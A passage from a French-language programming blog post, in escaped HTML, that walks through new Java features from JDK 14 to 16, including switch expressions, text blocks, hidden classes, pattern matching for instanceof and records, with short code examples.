&lt;p&gt;Arrivée officielle du &lt;strong&gt;&lt;em&gt;switch expression&lt;/em&gt;&lt;/strong&gt; défini dans &lt;em&gt;JDK Enhancement Proposal&lt;/em&gt; (&lt;strong&gt;JEP&lt;/strong&gt;) &lt;a href="https://openjdk.java.net/jeps/361"&gt;JEP361&lt;/a&gt;. C&amp;rsquo;est toujours présenté dans « &lt;a href="https://blog.namok.be/?post/2019/04/06/JDK10-11-12"&gt;JDK10, 11 et 12, quelques nouveautés&lt;/a&gt; ».&lt;/p&gt;
&lt;p&gt;Pour rappel, il est maintenant possible d&amp;rsquo;écrire : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Season&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// a season&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SPRING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SUMMER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;It&amp;#39;s hot&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WINTER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AUTUMN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;It&amp;#39;s cold&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;&lt;em&gt;Helpful NullPointerExceptions&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Amélioration du message associé à une &lt;code&gt;NullPointerException&lt;/code&gt; (&lt;a href="https://openjdk.java.net/jeps/358"&gt;JEP358&lt;/a&gt;). Là où le message était lacunaire, il précise maintenant quelle variable est nulle. Exemples extraits de &lt;a href="https://openjdk.java.net/jeps/358"&gt;JEP358&lt;/a&gt;, là où l&amp;rsquo;on avait :&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;a.i = 99;

Exception in thread &amp;quot;main&amp;quot; java.lang.NullPointerException
    at Prog.main(Prog.java:5)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;… maintenant, le message pourrait être (en fonction de la situation bien sûr)&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Exception&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;thread&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;main&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lang&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;NullPointerException:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Cannot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;assign&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;i&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;because&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Prog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Prog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;java:&lt;/span&gt;&lt;span class="mh"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;À ceci s&amp;rsquo;ajoutent :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;des modifications au sujet des &lt;em&gt;garbage collector&lt;/em&gt; ;&lt;/li&gt;
&lt;li&gt;des suppressions de classes annoncées dans les précédentes _release__;&lt;/li&gt;
&lt;li&gt;la seconde &lt;em&gt;preview&lt;/em&gt; de &lt;em&gt;text blocks&lt;/em&gt; qui arrive dans JDK15 ;&lt;/li&gt;
&lt;li&gt;la première &lt;em&gt;preview&lt;/em&gt; du &lt;em&gt;pattern matching&lt;/em&gt; pour l&amp;rsquo;opérateur &lt;code&gt;instanceof&lt;/code&gt; et de la notion de &lt;em&gt;records&lt;/em&gt;. On en reparle plus bas avec JDK16.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;JDK 15&lt;/h1&gt;
&lt;h2&gt;&lt;em&gt;Text blocks&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Commençons par la &lt;a href="https://openjdk.java.net/jeps/378"&gt;JEP378&lt;/a&gt; qui concerne &lt;em&gt;text blocks&lt;/em&gt;. Les blocs de textes sont simplement des littéraux de type &lt;code&gt;String&lt;/code&gt; qui s&amp;rsquo;étendent sur plusieurs lignes sans devoir s&amp;rsquo;embarrasser d&amp;rsquo;ouvrir et fermer des guillemets ou d&amp;rsquo;ajouter des séquences d&amp;rsquo;échappement. Les blocs de texte sont formatés comme ils sont écrits.&lt;/p&gt;
&lt;p&gt;Un &lt;em&gt;text block&lt;/em&gt; commence par 3 guillemets (&lt;code&gt;"""&lt;/code&gt;) suivi de 0 ou plusieurs espaces blancs (&lt;em&gt;white space&lt;/em&gt;) et d&amp;lsquo;1 passage à la ligne (&lt;em&gt;line terminator&lt;/em&gt;). Il se termine par 3 autres guillemets suivi de 0 ou plusieurs espaces blancs (&lt;em&gt;white space&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Il représente un &lt;strong&gt;littéral de type String&lt;/strong&gt; (&lt;em&gt;string literal&lt;/em&gt;) à part entière. Il est considéré comme une constante de type &lt;code&gt;String&lt;/code&gt; et se retrouve dans la &lt;em&gt;pool&lt;/em&gt; des constantes de la classe comme les autres littéraux &lt;code&gt;String&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Voici deux exemples assez parlant (± issu de &lt;a href="https://openjdk.java.net/jeps/378"&gt;JEP378&lt;/a&gt;) montrant le gain pour les séquences d&amp;rsquo;échappement et les passage de ligne et à la ligne : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;lt;html&amp;gt;\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;    &amp;lt;body&amp;gt;\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;        &amp;lt;p&amp;gt;Hello, world&amp;lt;/p&amp;gt;\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;    &amp;lt;/body&amp;gt;\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;lt;/html&amp;gt;\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;


&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="s"&gt;            &amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="s"&gt;                &amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class="s"&gt;                    &amp;lt;p&amp;gt;Hello, world&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="s"&gt;                &amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="s"&gt;            &amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;span class="s"&gt;            &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;


&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;SELECT \&amp;quot;EMP_ID\&amp;quot;, \&amp;quot;LAST_NAME\&amp;quot; FROM&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; \&amp;quot;EMPLOYEE_TB\&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;WHERE \&amp;quot;CITY\&amp;quot; = &amp;#39;INDIANAPOLIS&amp;#39;\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ORDER BY \&amp;quot;EMP_ID\&amp;quot;, \&amp;quot;LAST_NAME\&amp;quot;;\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;


&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="s"&gt;            SELECT &amp;quot;EMP_ID&amp;quot;, &amp;quot;LAST_NAME&amp;quot; FROM &amp;quot;EMPLOYEE_TB&amp;quot;&lt;/span&gt;
&lt;span class="s"&gt;            WHERE &amp;quot;CITY&amp;quot; = &amp;#39;INDIANAPOLIS&amp;#39;&lt;/span&gt;
&lt;span class="s"&gt;            ORDER BY &amp;quot;EMP_ID&amp;quot;, &amp;quot;LAST_NAME&amp;quot;;&lt;/span&gt;
&lt;span class="s"&gt;            &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;&lt;em&gt;Hidden class&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;JDK15 introduit (&lt;a href="https://openjdk.java.net/jeps/371"&gt;JEP371&lt;/a&gt;) les &lt;strong&gt;classes cachées&lt;/strong&gt; (&lt;em&gt;hidden class&lt;/em&gt;) qui sont des classes qui ne peuvent être utilisées directement par (le &lt;em&gt;bytecode&lt;/em&gt;) d&amp;rsquo;autres classes. Le but est qu&amp;rsquo;elles soient utilisées par des frameworks qui génèrent des classes au &lt;em&gt;runtime&lt;/em&gt; et les utilisent &lt;em&gt;via&lt;/em&gt; la réflexion. Du point de vue du développeur ou de la développeuse lambda, cette fonctionnalité a peu d&amp;rsquo;intérêt.&lt;/p&gt;
&lt;p&gt;Lorsqu&amp;rsquo;une classe, &lt;code&gt;MyClass&lt;/code&gt;, est compilée, un fichier &lt;code&gt;MyClass.class&lt;/code&gt; lui est associé et contient le &lt;em&gt;bytecode&lt;/em&gt; de la classe. Lorsqu&amp;rsquo;il s&amp;rsquo;agit d&amp;rsquo;une classe interne anonyme (&lt;em&gt;inner anonymous class&lt;/em&gt;), un fichier &lt;code&gt;MyClass$i.class&lt;/code&gt; est créé et contient le &lt;em&gt;bytecode&lt;/em&gt; de cette classe interne anonyme. Avec l&amp;rsquo;avènement des &lt;em&gt;lambdas&lt;/em&gt; qui sont une manière d&amp;rsquo;instancier une classe interne anonyme qui implémente une interface fonctionnelle, le &lt;em&gt;bytecode&lt;/em&gt; est généré au &lt;em&gt;runtime&lt;/em&gt; sans lui dédier un fichier &lt;code&gt;.class&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Un &lt;em&gt;bytecode&lt;/em&gt; généré à l&amp;rsquo;exécution (&lt;em&gt;runtime&lt;/em&gt;) ou à la compilation (&lt;em&gt;compile time&lt;/em&gt;) n&amp;rsquo;est pas différencié par l&amp;rsquo;API et le &lt;em&gt;bytecode&lt;/em&gt; d&amp;rsquo;une classe pourrait être réutilisé pendant le cycle de vie de l&amp;rsquo;application alors que ce n&amp;rsquo;est pas désiré par le ou la développeuse. Les classes cachées (&lt;em&gt;hidden class&lt;/em&gt;) semblent adresser ce problème… et ça sort du cadre de cet article… et de ma compréhension actuelle ;-)&lt;/p&gt;
&lt;h2&gt;&lt;em&gt;Reimplement the Legacy DatagramSocket API&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Réécriture de l&amp;rsquo;API pour les classes &lt;code&gt;java.net.DatagramSocket&lt;/code&gt; et&lt;br&gt;
&lt;code&gt;java.net.MulticastSocket&lt;/code&gt; (&lt;a href="https://openjdk.java.net/jeps/373"&gt;JEP373&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;À ceci s&amp;rsquo;ajoutent :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;l&amp;rsquo;ajout d&amp;rsquo;un algorithme (&lt;em&gt;Edwards-Curve Digital Signature Algorithm (EdDSA)&lt;/em&gt;) cryptographique pour le chiffrement elliptique ;&lt;/li&gt;
&lt;li&gt;la première &lt;em&gt;preview&lt;/em&gt; des classes scellées (&lt;em&gt;sealed class&lt;/em&gt;) qui arrivent dans JDK17 (voir ci-dessous) ;&lt;/li&gt;
&lt;li&gt;les &lt;em&gt;garbages collector&lt;/em&gt; ZGC et Shenandoah ne sont plus expérimentaux. G1, reste le « ramasse miettes » par défaut ;&lt;/li&gt;
&lt;li&gt;une partie du code RMI (&lt;em&gt;remote method invocation&lt;/em&gt;) est déprécié : RMI Activation ;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;JDK 16&lt;/h1&gt;
&lt;h2&gt;&lt;em&gt;Pattern matching for instanceof&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;La « correspondance de schema » nous dirons &lt;em&gt;pattern matching&lt;/em&gt; pour l&amp;rsquo;opérateur &lt;code&gt;instanceof&lt;/code&gt; vise à optimiser (raccourcir) l&amp;rsquo;usage de cette structure. Structure souvent utilisée en Java lorsque l&amp;rsquo;on reçoit un objet et que l&amp;rsquo;on veut tester son type avant de l&amp;rsquo;utiliser… pour accéder à ses attributs.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// do something with string s&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette structure pourra être raccourcie, pour directement déclarer et instancier une variable dès lors que la condition est vraie, en (noter l&amp;rsquo;apparition d&amp;rsquo;un petit &lt;code&gt;s&lt;/code&gt; dans les parenthèses) :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// do something with string s&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Quelques remarques et définitions car cette notion de &lt;em&gt;pattern matching&lt;/em&gt; risque d&amp;rsquo;être appliquée à d&amp;rsquo;autres structures.&lt;/p&gt;
&lt;p&gt;Un &lt;em&gt;pattern&lt;/em&gt; (modèle ?) est un prédicat (un test) qui peut être effectué sur une valeur (une cible, &lt;em&gt;target&lt;/em&gt;). Les &lt;em&gt;patterns&lt;/em&gt; apparaissent comme les opérandes d&amp;rsquo;instructions et d&amp;rsquo;expressions qui fournissent les valeurs à tester. Les &lt;em&gt;patterns&lt;/em&gt; déclarent des variables locales appelées &lt;em&gt;pattern variables&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Tester une valeur par rapport à un &lt;em&gt;pattern&lt;/em&gt; s&amp;rsquo;appelle le &lt;em&gt;pattern matching&lt;/em&gt; (la comparaison de modèle ?). Le &lt;em&gt;pattern matching&lt;/em&gt; est différent de l&amp;rsquo;exécution d&amp;rsquo;une instruction et de l&amp;rsquo;évaluation d&amp;rsquo;une expression.&lt;/p&gt;
&lt;p&gt;Si le prédicat est vrai, le &lt;em&gt;pattern matching&lt;/em&gt; initialise la variable locale, la &lt;em&gt;pattern variable&lt;/em&gt;. Cette variable locale n&amp;rsquo;existe que si le prédicat est vrai. (voir &lt;a href="https://docs.oracle.com/javase/specs/jls/se17/jls17.pdf"&gt;JLS17&lt;/a&gt; section 14.30)&lt;/p&gt;
&lt;p&gt;Le scope d&amp;rsquo;une &lt;em&gt;pattern variable&lt;/em&gt; est tel qu&amp;rsquo;elle ne peut exister que si le prédicat est vrai. Les deux cas de figures les plus fréquents (et simples) sont les suivants :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une &lt;em&gt;pattern variable&lt;/em&gt; est introduite lorsqu&amp;rsquo;une expression est &lt;strong&gt;vraie&lt;/strong&gt; :&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// s in scope and you can do something with string s&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// s not in scope&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// s not in scope&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;une &lt;em&gt;pattern variable&lt;/em&gt; est introduite lorsqu&amp;rsquo;une expression est &lt;strong&gt;fausse&lt;/strong&gt; :&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// this point is only reachable if the pattern match &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// succeeded thus, s is in scope for the rest &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// of the block and you can do something with string s&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Remarque que la grammaire prend le temps de définir la notion de &lt;em&gt;« introduce by »&lt;/em&gt; (section 14.30).&lt;/p&gt;
&lt;h2&gt;&lt;em&gt;Records&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Un enregistrement (&lt;em&gt;record&lt;/em&gt;) (&lt;a href="https://openjdk.java.net/jeps/395"&gt;JEP395&lt;/a&gt;) est une classe représentant, sans &lt;em&gt;bla bla&lt;/em&gt;, des données immuables. Là où l&amp;rsquo;on reproche à Java d&amp;rsquo;être trop verbeux, les &lt;em&gt;records&lt;/em&gt; répondent présents.&lt;/p&gt;
&lt;p&gt;Prenons l&amp;rsquo;exemple classique d&amp;rsquo;une classe représentant un &lt;code&gt;Point&lt;/code&gt; dans le plan. Elle ressemblerait probablement à ceci (et pourrait être presque complètement générée par un IDE) : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
